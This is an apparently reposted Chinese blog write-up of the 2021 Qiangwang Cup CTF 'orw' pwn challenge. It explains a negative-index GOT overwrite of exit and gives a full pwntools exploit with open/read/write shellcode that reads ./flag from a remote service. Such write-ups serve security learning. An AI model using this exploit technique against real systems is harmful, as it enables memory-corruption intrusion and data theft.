强网杯2021 [强网先锋]orw
生活随笔
收集整理的這篇文章主要介紹了
强网杯2021 [强网先锋]orw
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
orw就是指你的系統調用被禁止了,不能通過子進程去獲得權限和flag,只能在該進程通過 open , read ,write來得到flag
因為不是FULL RELRO所以就考慮改got表為shellcode地址就行了
漏洞點就在于以上兩點
令index下標為負數時可以覆蓋到其他函數的got表地址
這里選擇覆蓋掉exit的got表中的地址,因為沙盒的存在,所以需要構造orw的shellcode并覆蓋exit的got地址為shellcode
覆蓋堆塊的申請位置選擇在這里
計算一下偏移量
起始點 0x02020E0 終點是 0x0202078
這里除以8是因為
QWORD 是8 個字節
現在可以寫EXP
from pwn import * #p=process('./pwn') p=remote("39.105.131.68","12354") context(os='linux',arch='amd64') shellcode='''xor rax,raxxor rdi,rdixor rsi,rsixor rdx,rdxmov rax,2 #open 調用號為2mov rdi,0x67676c662f2e #為 galf/. 是./flag的相反push rdimov rdi,rspsyscallmov rdx,0x100 #sys_read(3,file,0x100)mov rsi,rdimov rdi,raxmov rax,0 #read 調用號0syscallmov rdi,1 #sys_write(1,file,0x30)mov rax,1 #write調用號是1syscall ''' p.recv() p.sendline('1') p.recvuntil('index') p.sendline('-0xd') p.recvuntil('size:') p.sendline('0') p.recvuntil('content') p.sendline(asm(shellcode)) #gdb.attach(p) p.sendline('5') p.interactive()總結
以上是生活随笔為你收集整理的强网杯2021 [强网先锋]orw的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 在安装one_gadget遇到 one_
- 下一篇: CTF(pwn) 堆利用 之 unlin